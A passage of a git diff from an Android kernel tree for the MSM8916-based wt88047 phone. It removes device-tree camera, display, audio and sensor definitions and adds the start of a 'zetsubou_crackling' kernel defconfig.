"sensor_gpio_standby", - "sensor_gpio_reset", - "sensor_cam_mclk"; - qcom,cam-power-seq-cfg-val = <1 1 1 1 0 0 1 1 23880000>; - qcom,cam-power-seq-delay = <1 10 10 5 10 10 10 10 10>; - - clocks = <&clock_gcc clk_mclk0_clk_src>, - <&clock_gcc clk_gcc_camss_mclk0_clk>; - clock-names = "cam_src_clk", "cam_clk"; - }; - - qcom,camera@0 { - cell-index = <0>; - compatible = "qcom,camera"; - reg = <0x0>; - qcom,csiphy-sd-index = <0>; - qcom,csid-sd-index = <0>; - qcom,mount-angle = <90>; - qcom,actuator-src = <&actuator0>; - qcom,eeprom-src = <&eeprom0>; - qcom,led-flash-src = <&led_flash0>; - cam_vdig-supply = <&pm8916_l2>; - cam_vana-supply = <&pm8916_l17>; - cam_vio-supply = <&pm8916_l6>; - cam_vaf-supply = <&pm8916_l10>; - qcom,cam-vreg-name = "cam_vdig", "cam_vio", "cam_vana", "cam_vaf"; - qcom,cam-vreg-type = <0 1 0 0>; - qcom,cam-vreg-min-voltage = <1200000 0 2850000 2800000>; - qcom,cam-vreg-max-voltage = <1200000 0 2850000 2800000>; - qcom,cam-vreg-op-mode = <200000 0 80000 100000>; - pinctrl-names = "cam_default", "cam_suspend"; - pinctrl-0 = <&cam_sensor_mclk0_default &cam_sensor_rear_default>; - pinctrl-1 = <&cam_sensor_mclk0_sleep &cam_sensor_rear_sleep>; - gpios = <&msm_gpio 26 0>, - <&msm_gpio 35 0>, - <&msm_gpio 34 0>, - <&msm_gpio 120 0>; - qcom,gpio-reset = <1>; - qcom,gpio-standby = <2>; - qcom,gpio-af-pwdm = <3>; - qcom,gpio-req-tbl-num = <0 1 2 3>; - qcom,gpio-req-tbl-flags = <1 0 0 0>; - qcom,gpio-req-tbl-label = "CAMIF_MCLK", - "CAM_RESET1", - "CAM_STANDBY", - "CAM_AF_PWDM"; - qcom,sensor-position = <0>; - qcom,sensor-mode = <0>; - qcom,cci-master = <0>; - qcom,mclk-23880000; - status = "ok"; - clocks = <&clock_gcc clk_mclk0_clk_src>, - <&clock_gcc clk_gcc_camss_mclk0_clk>; - clock-names = "cam_src_clk", "cam_clk"; - }; - - qcom,camera@1 { - cell-index = <1>; - compatible = "qcom,camera"; - reg = <0x1>; - qcom,csiphy-sd-index = <1>; - qcom,csid-sd-index = <1>; - qcom,mount-angle = <90>; - cam_vdig-supply = <&pm8916_l2>; - cam_vana-supply = <&pm8916_l17>; - cam_vio-supply = <&pm8916_l6>; - cam_vaf-supply = <&pm8916_l10>; - qcom,cam-vreg-name = "cam_vdig", "cam_vio", "cam_vana", "cam_vaf"; - qcom,cam-vreg-type = <0 1 0 0>; - qcom,cam-vreg-min-voltage = <1200000 0 2850000 2800000>; - qcom,cam-vreg-max-voltage = <1200000 0 2850000 2800000>; - qcom,cam-vreg-op-mode = <200000 0 80000 100000>; - pinctrl-names = "cam_default", "cam_suspend"; - pinctrl-0 = <&cam_sensor_mclk1_default &cam_sensor_front_default>; - pinctrl-1 = <&cam_sensor_mclk1_sleep &cam_sensor_front_sleep>; - gpios = <&msm_gpio 27 0>, - <&msm_gpio 28 0>, - <&msm_gpio 33 0>; - qcom,gpio-reset = <1>; - qcom,gpio-standby = <2>; - qcom,gpio-req-tbl-num = <0 1 2>; - qcom,gpio-req-tbl-flags = <1 0 0>; - qcom,gpio-req-tbl-label = "CAMIF_MCLK", - "CAM_RESET", - "CAM_STANDBY"; - qcom,sensor-position = <1>; - qcom,sensor-mode = <0>; - qcom,cci-master = <0>; - qcom,mclk-23880000; - status = "ok"; - clocks = <&clock_gcc clk_mclk1_clk_src>, - <&clock_gcc clk_gcc_camss_mclk1_clk>; - clock-names = "cam_src_clk", "cam_clk"; - }; -}; diff --git a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi deleted file mode 100644 index 809d39989e30c..0000000000000 --- a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi +++ /dev/null @@ -1,374 +0,0 @@ -/* Copyright (c) 2015, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#include "dsi-panel-r69431-720p-video.dtsi" -#include "dsi-panel-nt35521-720p-video.dtsi" -#include "dsi-panel-nt35521s-720p-video.dtsi" -#include "dsi-panel-nt35521-ofilm-720p-video.dtsi" -#include "dsi-panel-otm1285a-720p-video.dtsi" -#include "dsi-panel-r61308-720p-video.dtsi" -#include "dsi-panel-otm1285a-otp-720p-video.dtsi" -#include "dsi-panel-r61308-s88047a1-720p-video.dtsi" -#include "msm8916-camera-sensor-wt88047.dtsi" - -/ { - memory { - pstore_reserve_mem: pstore_reserve_region@0 { - linux,reserve-contiguous-region; - linux,reserve-region; - linux,remove-completely; - reg = <0x0 0x8c400000 0x0 0x00100000>; - label = "pstore_reserve_mem"; - }; - - splash_region@83000000 { /* Give this region to mdss_fb0 */ - /* status = "disabled"; */ - }; - }; -}; - -&soc { - ramoops { - compatible = "ramoops"; - status = "ok"; - - android,ramoops-buffer-start = <0x8c400000>; - android,ramoops-buffer-size = <0x100000>; - android,ramoops-console-size = <0x80000>; - android,ramoops-record-size = <0x20000>; - android,ramoops-dump-oops = <0x1>; - }; - - sound { - compatible = "qcom,msm8x16-audio-codec"; - qcom,model = "msm8x16-skui-snd-card"; - qcom,msm-snd-card-id = <0>; - qcom,msm-ext-pa = "primary"; - qcom,msm-codec-type = "internal"; - qcom,msm-mbhc-hphl-swh = <1>; - qcom,msm-mbhc-gnd-swh = <0>; - qcom,msm-hs-micbias-type = "internal"; - qcom,msm-micbias1-ext-cap; - qcom,audio-routing = - "RX_BIAS", "MCLK", - "SPK_RX_BIAS", "MCLK", - "INT_LDO_H", "MCLK", - "MIC BIAS External", "Handset Mic", - "MIC BIAS Internal2", "Headset Mic", - "MIC BIAS External", "Secondary Mic", - "AMIC1", "MIC BIAS External", - "AMIC2", "MIC BIAS Internal2", - "AMIC3", "MIC BIAS External"; - pinctrl-names = "cdc_lines_act", - "cdc_lines_sus"; - pinctrl-0 = <&cdc_pdm_lines_act>; - pinctrl-1 = <&cdc_pdm_lines_sus>; - asoc-platform = <&pcm0>, <&pcm1>, <&voip>, <&voice>, - <&loopback>, <&compress>, <&hostless>, - <&afe>, <&lsm>, <&routing>, <&lpa>; - asoc-platform-names = "msm-pcm-dsp.0", "msm-pcm-dsp.1", - "msm-voip-dsp", "msm-pcm-voice", "msm-pcm-loopback", - "msm-compress-dsp", "msm-pcm-hostless", "msm-pcm-afe", - "msm-lsm-client", "msm-pcm-routing", "msm-pcm-lpa"; - asoc-cpu = <&dai_pri_auxpcm>, <&dai_hdmi>, - <&dai_mi2s0>, <&dai_mi2s1>, <&dai_mi2s2>, <&dai_mi2s3>, - <&sb_0_rx>, <&sb_0_tx>, <&sb_1_rx>, <&sb_1_tx>, - <&sb_3_rx>, <&sb_3_tx>, <&sb_4_rx>, <&sb_4_tx>, - <&bt_sco_rx>, <&bt_sco_tx>, <&bt_a2dp_rx>, - <&int_fm_rx>, <&int_fm_tx>, - <&afe_pcm_rx>, <&afe_pcm_tx>, <&afe_proxy_rx>, <&afe_proxy_tx>, - <&incall_record_rx>, <&incall_record_tx>, <&incall_music_rx>, - <&incall_music_2_rx>; - asoc-cpu-names = "msm-dai-q6-auxpcm.1", "msm-dai-q6-hdmi.8", - "msm-dai-q6-mi2s.0", "msm-dai-q6-mi2s.1", - "msm-dai-q6-mi2s.2", "msm-dai-q6-mi2s.3", - "msm-dai-q6-dev.16384", "msm-dai-q6-dev.16385", - "msm-dai-q6-dev.16386", "msm-dai-q6-dev.16387", - "msm-dai-q6-dev.16390", "msm-dai-q6-dev.16391", - "msm-dai-q6-dev.16392", "msm-dai-q6-dev.16393", - "msm-dai-q6-dev.12288", "msm-dai-q6-dev.12289", - "msm-dai-q6-dev.12290", "msm-dai-q6-dev.12292", - "msm-dai-q6-dev.12293", "msm-dai-q6-dev.224", - "msm-dai-q6-dev.225", "msm-dai-q6-dev.241", - "msm-dai-q6-dev.240", "msm-dai-q6-dev.32771", - "msm-dai-q6-dev.32772", "msm-dai-q6-dev.32773", - "msm-dai-q6-dev.32770"; - asoc-codec = <&stub_codec>, <&pm8916_tombak_dig>; - asoc-codec-names = "msm-stub-codec.1", "tombak_codec"; - }; - - bq2022a { - compatible = "bq2022a"; - qcom,bq2022a-id-gpio = <&pm8916_gpios 3 0>; - status= "okay"; - }; - - gpio-leds { - compatible = "gpio-leds"; - status = "okay"; - pinctrl-names = "default"; - pinctrl-0 = <&button_backlight_off>; - - keypad-backlight { - gpios = <&msm_gpio 119 0>; - label = "button-backlight"; - linux,default-trigger = "none"; - }; - }; -}; - -&pm8916_mpps { - mpp@a300 { /* MPP 4 */ - /* Backlight PWM */ - qcom,mode = <1>; /* Digital output */ - qcom,invert = <0>; /* Disable Invert */ - qcom,src-sel = <4>; /* DTEST1 */ - qcom,vin-sel = <0>; /* VPH_PWR */ - qcom,master-en = <1>; /* Enable MPP */ - }; -}; - -&mdss_mdp { - qcom,mdss-pref-prim-intf = "dsi"; - - mdss_fb0: qcom,mdss_fb_primary { - /* Ketut P. Kumajaya: For old bootloader, old splash image */ - /* Both recovery and bootanimation framebuffer need this */ - /* qcom,memblock-reserve = <0x83200000 0xfa0000>; - qcom,mdss-fb-splash-logo-enabled; */ - }; -}; - -&pmx_mdss { - qcom,num-grp-pins = <1>; - qcom,pins = <&gp 25>; - mdss_dsi_active: active { - output-high; - }; - mdss_dsi_suspend: suspend { - output-low; - }; -}; - -&mdss_dsi0 { - qcom,platform-regulator-settings = [02 09 03 00 20 00 01]; - - qcom,dsi-pref-prim-pan = <&dsi_r69431_720p_video>; - qcom,dsi-pref-sub-pan = <&dsi_nt35521_720p_video>; - qcom,dsi-pref-sub1-pan = <&dsi_otm1285a_720p_video>; - qcom,dsi-pref-sub2-pan = <&dsi_r61308_720p_video>; - qcom,dsi-pref-sub3-pan = <&dsi_otm1285a_otp_720p_video>; - qcom,dsi-pref-sub4-pan = <&dsi_r61308_s88047a1_720p_video>; - qcom,dsi-pref-sub5-pan = <&dsi_nt35521s_720p_video>; - qcom,dsi-pref-sub6-pan = <&dsi_nt35521_ofilm_720p_video>; - pinctrl-names = "mdss_default", "mdss_sleep"; - pinctrl-0 = <&mdss_dsi_active>; - pinctrl-1 = <&mdss_dsi_suspend>; - - qcom,platform-reset-gpio = <&msm_gpio 25 0>; - - qcom,ctrl-supply-entries { - qcom,ctrl-supply-entry@0 { - /delete-property/ qcom,supply-post-on-sleep; - }; - }; -}; - -&dsi_r69431_720p_video { - qcom,cont-splash-enabled; -}; - -&dsi_nt35521_720p_video { - qcom,cont-splash-enabled; -}; - -&dsi_nt35521s_720p_video { - qcom,cont-splash-enabled; -}; - -&dsi_nt35521_ofilm_720p_video { - qcom,cont-splash-enabled; -}; - -&dsi_otm1285a_720p_video { - qcom,cont-splash-enabled; -}; - -&dsi_r61308_720p_video { - /* Ketut P. Kumajaya: LCD garbled fix for HM2014817 */ - /* qcom,esd-check-enabled; */ - qcom,cont-splash-enabled; -}; - -&dsi_otm1285a_otp_720p_video { - qcom,cont-splash-enabled; -}; - -&dsi_r61308_s88047a1_720p_video { - /* qcom,esd-check-enabled; */ - qcom,cont-splash-enabled; -}; - -&tlmm_pinmux { - ltr559_int_pin { - qcom,pins = <&gp 113>; - qcom,pin-func = <0>; - qcom,num-grp-pins = <1>; - label = "ltr559-irq"; - ltr559_default: ltr559_default { - drive-strength = <6>; - bias-pull-up; - }; - ltr559_sleep: ltr559_sleep { - drive-strength = <2>; - bias-pull-down; - }; - }; - - akm_reset_pin { - qcom,pins = <&gp 36>; - qcom,pin-func = <0>; - qcom,num-grp-pins = <1>; - label = "akm_reset_pin"; - akm_default: akm_default { - drive-strength = <6>; - bias-pull-up; - }; - akm_sleep: akm_sleep { - drive-strength = <2>; - bias-pull-down; - }; - }; - - gpio_led_pins { - qcom,pins = <&gp 16>, <&gp 17>; - qcom,num-grp-pins = <2>; - }; -}; - -&i2c_0 { /* BLSP1 QUP2 */ - liteon@23 { - compatible = "ltr,ltr559"; - reg = <0x23>; - pinctrl-names = "default", "sleep"; - pinctrl-0 = <<r559_default>; - pinctrl-1 = <<r559_sleep>; - interrupt-parent = <&msm_gpio>; - interrupts = <113 0x2002>; - vdd-supply = <&pm8916_l17>; - vio-supply = <&pm8916_l6>; - ltr,irq-gpio = <&msm_gpio 113 0x2002>; - ltr,ps-threshold = <45>; - ltr,ps-hysteresis-threshold = <30>; - ltr,als-polling-time = <200>; - }; - - mpu6050@68 { - compatible = "invn,mpu6050"; - reg = <0x68>; - pinctrl-names = "mpu_default","mpu_sleep"; - pinctrl-0 = <&mpu6050_default>; - pinctrl-1 = <&mpu6050_sleep>; - interrupt-parent = <&msm_gpio>; - interrupts = <115 0x2>; - vdd-supply = <&pm8916_l17>; - vlogic-supply = <&pm8916_l16>; - vi2c-supply = <&pm8916_l6>; - invn,gpio-int = <&msm_gpio 115 0x2>; - invn,place = "Portrait Up Back Side"; - }; - - akm@c { - compatible = "ak,ak09911"; - reg = <0xc>; - pinctrl-names = "default", "sleep"; - pinctrl-0 = <&akm_default>; - pinctrl-1 = <&akm_sleep>; - vdd-supply = <&pm8916_l17>; - vio-supply = <&pm8916_l6>; - akm,layout = <0x6>; - akm,gpio_rstn = <&msm_gpio 36 0x0>; - akm,auto-report; - }; - - yamaha@2e { - compatible = "yamaha,yas537"; - reg = <0x2e>; - vdd-supply = <&pm8916_l17>; - vio-supply = <&pm8916_l6>; - yas,position = <5>; - }; -}; - -&i2c_6 { /* BLSP1 QUP6 */ - nfc-nci@e { - status = "disabled"; - }; - - aw2013@45 { - compatible = "awinic,aw2013"; - reg = <0x45>; - vdd-supply = <&pm8916_l17>; - vcc-supply = <&pm8916_l6>; - - aw2013,red { - aw2013,name = "red"; - aw2013,id = <0>; - aw2013,max-brightness = <255>; - aw2013,max-current = <3>; - aw2013,rise-time-ms = <2>; - aw2013,hold-time-ms = <1>; - aw2013,fall-time-ms = <2>; - aw2013,off-time-ms = <1>; - }; - - aw2013,green { - aw2013,name = "green"; - aw2013,id = <1>; - aw2013,max-brightness = <255>; - aw2013,max-current = <3>; - aw2013,rise-time-ms = <2>; - aw2013,hold-time-ms = <1>; - aw2013,fall-time-ms = <2>; - aw2013,off-time-ms = <1>; - }; - - aw2013,blue { - aw2013,name = "blue"; - aw2013,id = <2>; - aw2013,max-brightness = <255>; - aw2013,max-current = <3>; - aw2013,rise-time-ms = <2>; - aw2013,hold-time-ms = <1>; - aw2013,fall-time-ms = <2>; - aw2013,off-time-ms = <1>; - }; - }; -}; - -&sdc2_cd_on { - /delete-property/ bias-pull-up; - bias-pull-down; -}; - -&sdc2_cd_off { - /delete-property/ bias-disable; - bias-pull-down; -}; - -&sdhc_2 { - interrupts = <0 1>; - interrupt-map = <0 &intc 0 125 0 - 1 &intc 0 221 0>; - interrupt-names = "hc_irq", "pwr_irq"; - /delete-property/ cd-gpios; -}; diff --git a/arch/arm/configs/zetsubou_crackling_defconfig b/arch/arm/configs/zetsubou_crackling_defconfig new file mode 100644 index 0000000000000..7bb67bedb70f1 --- /dev/null +++ b/arch/arm/configs/zetsubou_crackling_defconfig @@ -0,0 +1,3827 @@ +# +# Automatically generated file; DO NOT EDIT. +# Linux/arm 3.10.104 Kernel Configuration +# +CONFIG_ARM=y +CONFIG_ARM_HAS_SG_CHAIN=y +CONFIG_SYS_SUPPORTS_APM_EMULATION=y +CONFIG_HAVE_PROC_CPU=y +CONFIG_STACKTRACE_SUPPORT=y +CONFIG_LOCKDEP_SUPPORT=y +CONFIG_TRACE_IRQFLAGS_SUPPORT=y +CONFIG_RWSEM_GENERIC_SPINLOCK=y +CONFIG_ARCH_HAS_CPUFREQ=y +CONFIG_GENERIC_HWEIGHT=y +CONFIG_GENERIC_CALIBRATE_DELAY=y +CONFIG_NEED_DMA_MAP_STATE=y +CONFIG_ARCH_WANT_KMAP_ATOMIC_FLUSH=y +CONFIG_VECTORS_BASE=0xffff0000 +CONFIG_ARM_PATCH_PHYS_VIRT=y +CONFIG_NEED_MACH_GPIO_H=y +CONFIG_NEED_MACH_IO_H=y +CONFIG_NEED_MACH_MEMORY_H=y +CONFIG_PHYS_OFFSET=0x80000000 +CONFIG_GENERIC_BUG=y +# CONFIG_ARCH_RANDOM is not set +CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config" +CONFIG_IRQ_WORK=y +CONFIG_BUILDTIME_EXTABLE_SORT=y + +# +# General setup +# +CONFIG_INIT_ENV_ARG_LIMIT=32 +CONFIG_CROSS_COMPILE="" +CONFIG_LOCALVERSION="-Zetsubou" +CONFIG_LOCALVERSION_AUTO=y +CONFIG_HAVE_KERNEL_GZIP=y +CONFIG_HAVE_KERNEL_LZMA=y +CONFIG_HAVE_KERNEL_XZ=y +CONFIG_HAVE_KERNEL_LZO=y +CONFIG_HAVE_KERNEL_LZ4=y +# CONFIG_KERNEL_GZIP is not set +# CONFIG_KERNEL_LZMA is not set +CONFIG_KERNEL_XZ=y +# CONFIG_KERNEL_LZO is not set +# CONFIG_KERNEL_LZ4 is not set +CONFIG_DEFAULT_HOSTNAME="(none)" +CONFIG_SWAP=y +# CONFIG_SYSVIPC is not set +# CONFIG_POSIX_MQUEUE is not set +# CONFIG_FHANDLE is not set +CONFIG_AUDIT=y +CONFIG_AUDITSYSCALL=y +CONFIG_AUDIT_WATCH=y +CONFIG_AUDIT_TREE=y +# CONFIG_AUDIT_LOGINUID_IMMUTABLE is not set + +# +# IRQ subsystem +# +CONFIG_MAY_HAVE_SPARSE_IRQ=y +CONFIG_GENERIC_IRQ_PROBE=y +CONFIG_GENERIC_IRQ_SHOW=y +CONFIG_HARDIRQS_SW_RESEND=y +CONFIG_IRQ_DOMAIN=y +# CONFIG_IRQ_DOMAIN_DEBUG is not set +CONFIG_SPARSE_IRQ=y +CONFIG_KTIME_SCALAR=y +CONFIG_GENERIC_CLOCKEVENTS=y +CONFIG_GENERIC_CLOCKEVENTS_BUILD=y +CONFIG_ARCH_HAS_TICK_BROADCAST=y +CONFIG_GENERIC_CLOCKEVENTS_BROADCAST=y + +# +# Timers subsystem +# +CONFIG_TICK_ONESHOT=y +CONFIG_NO_HZ_COMMON=y +# CONFIG_HZ_PERIODIC is not set +CONFIG_NO_HZ_IDLE=y +CONFIG_NO_HZ=y +CONFIG_HIGH_RES_TIMERS=y + +# +# CPU/Task time and stats accounting +# +CONFIG_TICK_CPU_ACCOUNTING=y +# CONFIG_IRQ_TIME_ACCOUNTING is not set +# CONFIG_BSD_PROCESS_ACCT is not set +# CONFIG_TASKSTATS is not set + +# +# RCU Subsystem +# +CONFIG_TREE_PREEMPT_RCU=y +CONFIG_PREEMPT_RCU=y +CONFIG_RCU_STALL_COMMON=y +# CONFIG_RCU_USER_QS is not set +CONFIG_RCU_FANOUT=32 +CONFIG_RCU_FANOUT_LEAF=16 +# CONFIG_RCU_FANOUT_EXACT is not set +CONFIG_RCU_FAST_NO_HZ=y +# CONFIG_TREE_RCU_TRACE is not set +# CONFIG_RCU_BOOST is not set +# CONFIG_RCU_NOCB_CPU is not set +CONFIG_IKCONFIG=y +# CONFIG_IKCONFIG_PROC is not set +CONFIG_LOG_BUF_SHIFT=17 +CONFIG_GENERIC_SCHED_CLOCK=y +CONFIG_CGROUPS=y +CONFIG_CGROUP_DEBUG=y +CONFIG_CGROUP_FREEZER=y +# CONFIG_CGROUP_DEVICE is not set +CONFIG_CPUSETS=y +CONFIG_PROC_PID_CPUSET=y +CONFIG_CGROUP_CPUACCT=y +CONFIG_RESOURCE_COUNTERS=y +# CONFIG_MEMCG is not set +# CONFIG_CGROUP_PERF is not set +CONFIG_CGROUP_SCHED=y +CONFIG_FAIR_GROUP_SCHED=y +# CONFIG_CFS_BANDWIDTH is not set +CONFIG_RT_GROUP_SCHED=y +# CONFIG_BLK_CGROUP is not set +CONFIG_SCHED_HMP=y +# CONFIG_CHECKPOINT_RESTORE is not set +CONFIG_NAMESPACES=y +# CONFIG_UTS_NS is not set +# CONFIG_USER_NS is not set +# CONFIG_PID_NS is not set +CONFIG_NET_NS=y +CONFIG_UIDGID_CONVERTED=y +# CONFIG_UIDGID_STRICT_TYPE_CHECKS is not set +# CONFIG_SCHED_AUTOGROUP is not set +# CONFIG_SYSFS_DEPRECATED is not set +CONFIG_RELAY=y +CONFIG_BLK_DEV_INITRD=y +CONFIG_INITRAMFS_SOURCE="" +CONFIG_RD_GZIP=y +CONFIG_RD_BZIP2=y +CONFIG_RD_LZMA=y +# CONFIG_RD_XZ is not set +# CONFIG_RD_LZO is not set +# CONFIG_RD_LZ4 is not set +# CONFIG_CC_OPTIMIZE_FOR_SIZE is not set +CONFIG_SYSCTL=y +CONFIG_ANON_INODES=y +CONFIG_HAVE_UID16=y +CONFIG_HOTPLUG=y +CONFIG_PANIC_TIMEOUT=5 +CONFIG_EXPERT=y +CONFIG_UID16=y +# CONFIG_SYSCTL_SYSCALL is not set +CONFIG_KALLSYMS=y +CONFIG_KALLSYMS_ALL=y +CONFIG_PRINTK=y +CONFIG_BUG=y +CONFIG_ELF_CORE=y +CONFIG_BASE_FULL=y +CONFIG_FUTEX=y +CONFIG_EPOLL=y +CONFIG_SIGNALFD=y +CONFIG_TIMERFD=y +CONFIG_EVENTFD=y +CONFIG_SHMEM=y +CONFIG_AIO=y +CONFIG_EMBEDDED=y +CONFIG_HAVE_PERF_EVENTS=y +CONFIG_PERF_USE_VMALLOC=y + +# +# Kernel Performance Events And Counters +# +CONFIG_PERF_EVENTS=y +# CONFIG_DEBUG_PERF_USE_VMALLOC is not set +CONFIG_VM_EVENT_COUNTERS=y +# CONFIG_SLUB_DEBUG is not set +CONFIG_COMPAT_BRK=y +# CONFIG_SLAB is not set +CONFIG_SLUB=y +# CONFIG_SLOB is not set +CONFIG_PROFILING=y +CONFIG_TRACEPOINTS=y +# CONFIG_OPROFILE is not set +CONFIG_HAVE_OPROFILE=y +CONFIG_JUMP_LABEL=y +# CONFIG_HAVE_64BIT_ALIGNED_ACCESS is not set +CONFIG_HAVE_KPROBES=y +CONFIG_HAVE_KRETPROBES=y +CONFIG_HAVE_ARCH_TRACEHOOK=y +CONFIG_HAVE_DMA_ATTRS=y +CONFIG_HAVE_DMA_CONTIGUOUS=y +CONFIG_GENERIC_SMP_IDLE_THREAD=y +CONFIG_GENERIC_IDLE_POLL_SETUP=y +CONFIG_HAVE_REGS_AND_STACK_ACCESS_API=y +CONFIG_HAVE_CLK=y +CONFIG_HAVE_DMA_API_DEBUG=y +CONFIG_HAVE_HW_BREAKPOINT=y +CONFIG_HAVE_ARCH_JUMP_LABEL=y +CONFIG_ARCH_WANT_IPC_PARSE_VERSION=y +CONFIG_HAVE_ARCH_SECCOMP_FILTER=y +CONFIG_SECCOMP_FILTER=y +CONFIG_HAVE_CC_STACKPROTECTOR=y +CONFIG_CC_STACKPROTECTOR=y +# CONFIG_CC_STACKPROTECTOR_NONE is not set +# CONFIG_CC_STACKPROTECTOR_REGULAR is not set +CONFIG_HAVE_CONTEXT_TRACKING=y +CONFIG_HAVE_IRQ_TIME_ACCOUNTING=y +CONFIG_HAVE_MOD_ARCH_SPECIFIC=y +CONFIG_MODULES_USE_ELF_REL=y +CONFIG_HAVE_ARCH_MMAP_RND_BITS=y +CONFIG_ARCH_MMAP_RND_BITS_MIN=8 +CONFIG_ARCH_MMAP_RND_BITS_MAX=16 +CONFIG_ARCH_MMAP_RND_BITS=16 +CONFIG_CLONE_BACKWARDS=y +CONFIG_OLD_SIGSUSPEND3=y +CONFIG_OLD_SIGACTION=y + +# +# GCOV-based kernel profiling +# +# CONFIG_GCOV_KERNEL is not set +CONFIG_HAVE_GENERIC_DMA_COHERENT=y +CONFIG_RT_MUTEXES=y +CONFIG_BASE_SMALL=0 +# CONFIG_MODULES is not set +CONFIG_STOP_MACHINE=y +CONFIG_BLOCK=y +CONFIG_LBDAF=y +CONFIG_BLK_DEV_BSG=y +# CONFIG_BLK_DEV_BSGLIB is not set +# CONFIG_BLK_DEV_INTEGRITY is not set + +# +# Partition Types +# +CONFIG_PARTITION_ADVANCED=y +# CONFIG_ACORN_PARTITION is not set +# CONFIG_OSF_PARTITION is not set +# CONFIG_AMIGA_PARTITION is not set +# CONFIG_ATARI_PARTITION is not set +# CONFIG_MAC_PARTITION is not set +CONFIG_MSDOS_PARTITION=y +# CONFIG_BSD_DISKLABEL is not set +# CONFIG_MINIX_SUBPARTITION is not set +# CONFIG_SOLARIS_X86_PARTITION is not set +# CONFIG_UNIXWARE_DISKLABEL is not set +# CONFIG_LDM_PARTITION is not set +# CONFIG_SGI_PARTITION is not set +# CONFIG_ULTRIX_PARTITION is not set +# CONFIG_SUN_PARTITION is not set +# CONFIG_KARMA_PARTITION is not set +CONFIG_EFI_PARTITION=y +# CONFIG_SYSV68_PARTITION is not set + +# +# IO Schedulers +# +CONFIG_IOSCHED_NOOP=y +# CONFIG_IOSCHED_TEST is not set +CONFIG_IOSCHED_DEADLINE=y +CONFIG_IOSCHED_ROW=y +CONFIG_IOSCHED_SIO=y +CONFIG_IOSCHED_ZEN=y +CONFIG_IOSCHED_CFQ=y +CONFIG_IOSCHED_BFQ=y +CONFIG_CGROUP_BFQIO=y +CONFIG_IOSCHED_FIOPS=y +# CONFIG_DEFAULT_DEADLINE is not set +# CONFIG_DEFAULT_ROW is not set +# CONFIG_DEFAULT_SIO is not set +# CONFIG_DEFAULT_CFQ is not set +# CONFIG_DEFAULT_BFQ is not set +# CONFIG_DEFAULT_FIOPS is not set +CONFIG_DEFAULT_NOOP=y +CONFIG_DEFAULT_IOSCHED="noop" +CONFIG_ASN1=y +CONFIG_UNINLINE_SPIN_UNLOCK=y +CONFIG_ARCH_SUPPORTS_ATOMIC_RMW=y +CONFIG_MUTEX_SPIN_ON_OWNER=y +CONFIG_FREEZER=y + +# +# System Type +# +CONFIG_MMU=y +# CONFIG_ARCH_MULTIPLATFORM is not set +# CONFIG_ARCH_INTEGRATOR is not set +# CONFIG_ARCH_REALVIEW is not set +# CONFIG_ARCH_VERSATILE is not set +# CONFIG_ARCH_AT91 is not set +# CONFIG_ARCH_CLPS711X is not set +# CONFIG_ARCH_GEMINI is not set +# CONFIG_ARCH_EBSA110 is not set +# CONFIG_ARCH_EP93XX is not set +# CONFIG_ARCH_FOOTBRIDGE is not set +# CONFIG_ARCH_NETX is not set +# CONFIG_ARCH_IOP13XX is not set +# CONFIG_ARCH_IOP32X is not set +# CONFIG_ARCH_IOP33X is not set +# CONFIG_ARCH_IXP4XX is not set +# CONFIG_ARCH_DOVE is not set +# CONFIG_ARCH_KIRKWOOD is not set +# CONFIG_ARCH_MV78XX0 is not set +# CONFIG_ARCH_ORION5X is not set +# CONFIG_ARCH_MMP is not set +# CONFIG_ARCH_KS8695 is not set +# CONFIG_ARCH_W90X900 is not set +# CONFIG_ARCH_LPC32XX is not set +# CONFIG_ARCH_PXA is not set +CONFIG_ARCH_MSM=y +# CONFIG_ARCH_SHMOBILE is not set +# CONFIG_ARCH_RPC is not set +# CONFIG_ARCH_SA1100 is not set +# CONFIG_ARCH_S3C24XX is not set +# CONFIG_ARCH_S3C64XX is not set +# CONFIG_ARCH_S5P64X0 is not set +# CONFIG_ARCH_S5PC100 is not set +# CONFIG_ARCH_S5PV210 is not set +# CONFIG_ARCH_EXYNOS is not set +# CONFIG_ARCH_SHARK is not set +# CONFIG_ARCH_U300 is not set +# CONFIG_ARCH_DAVINCI is not set +# CONFIG_ARCH_OMAP1 is not set +# CONFIG_GPIO_PCA953X is not set +# CONFIG_KEYBOARD_GPIO_POLLED is not set + +# +# MSM SoC Type +# +# CONFIG_ARCH_MSM8974 is not set +# CONFIG_ARCH_APQ8084 is not set +# CONFIG_ARCH_MSM8909 is not set +CONFIG_ARCH_MSM8916=y +# CONFIG_ARCH_FSM9900 is not set +# CONFIG_ARCH_FSM9010 is not set +# CONFIG_ARCH_MDM9630 is not set +# CONFIG_ARCH_MSMZIRC is not set +# CONFIG_ARCH_MDMFERRUM is not set +# CONFIG_ARCH_MSM8610 is not set +# CONFIG_ARCH_MSM8226 is not set +CONFIG_MSM_CORTEX_A53=y +CONFIG_MSM_SMP=y +CONFIG_ARCH_MSM_CORTEXMP=y +# CONFIG_MSM_LPM_TEST is not set +# CONFIG_MSM_STACKED_MEMORY is not set +CONFIG_MSM_AMSS_VERSION=6225 +# CONFIG_MSM_AMSS_VERSION_6210 is not set +# CONFIG_MSM_AMSS_VERSION_6220 is not set +CONFIG_MSM_AMSS_VERSION_6225=y +CONFIG_MSM7X00A_USE_GP_TIMER=y +# CONFIG_MSM7X00A_USE_DG_TIMER is not set +CONFIG_MSM7X00A_SLEEP_MODE_POWER_COLLAPSE_SUSPEND=y +# CONFIG_MSM7X00A_SLEEP_MODE_POWER_COLLAPSE is not set +# CONFIG_MSM7X00A_SLEEP_MODE_APPS_SLEEP is not set +# CONFIG_MSM7X00A_SLEEP_MODE_RAMP_DOWN_AND_WAIT_FOR_INTERRUPT is not set +# CONFIG_MSM7X00A_SLEEP_WAIT_FOR_INTERRUPT is not set +CONFIG_MSM7X00A_SLEEP_MODE=0 +# CONFIG_MSM7X00A_IDLE_SLEEP_MODE_POWER_COLLAPSE_SUSPEND is not set 